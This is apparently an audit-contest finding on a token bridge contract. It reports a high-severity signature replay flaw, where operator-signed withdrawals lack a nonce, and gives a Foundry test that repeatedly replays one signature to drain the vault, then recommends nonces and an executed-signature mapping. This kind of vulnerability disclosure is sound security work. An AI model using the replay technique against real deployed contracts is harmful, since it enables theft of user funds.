Beginner FriendlyFoundryBridge
100 EXP
View results
Submission Details
Severity: high
Valid

Signature Replay Attack

Summary

sendToL1 function allows for a malicious user to replay the signature signed by an operator to keep withdrawing as long as the vault has enough funds.

Vulnerability Details

The message hash generated by the operator by signing the message did not include a Nonce or refuse to check if such message has been executed. This omission allows the signature data to be used infinitely, enabling malicious user to withdraw funds limitlessly.

Impact

malicious user is able to drain funds in the contract for as much as possible before the team will be able to pause the contract.

Tools Used

foundry, manual review.

POC

function testUserCanWithdrawMultipleTokensWithOperatorSignature() public {
//Adding an abitrary amount of token for vault to hold
deal(address(token), address(vault), 1000e18);
vm.startPrank(user);
uint256 depositAmount = 10e18;
uint256 userInitialBalance = token.balanceOf(address(user));
token.approve(address(tokenBridge), depositAmount);
tokenBridge.depositTokensToL2(user, userInL2, depositAmount);
assertEq(token.balanceOf(address(vault)), (depositAmount + 1000e18));
assertEq(
token.balanceOf(address(user)),
userInitialBalance - depositAmount
);
(uint8 v, bytes32 r, bytes32 s) = _signMessage(
_getTokenWithdrawalMessage(user, depositAmount),
operator.key
);
address attacker = makeAddr("attacker");
for (uint i; token.balanceOf(address(vault)) > depositAmount; i++) {
tokenBridge.withdrawTokensToL1(user, depositAmount, v, r, s);
assertEq(
token.balanceOf(address(user)),
userInitialBalance + (depositAmount * i)
);
}
assertLe(token.balanceOf(address(vault)), depositAmount);
}

Add to L1TokenBridge.t.sol and run with forge test --mt testUserCanWithdrawMultipleTokensWithOperatorSignature -vvvvvvvvvvv

Recommendations

it is advisable to the team to add nonce in the messages signed by the operator and also include a mapping that changes the status of the signature to executed the moment it is being executed by the users.

Updates

Lead Judging Commences

0xnevi Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

withdrawTokensToL1()/sendToL1(): signature replay

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.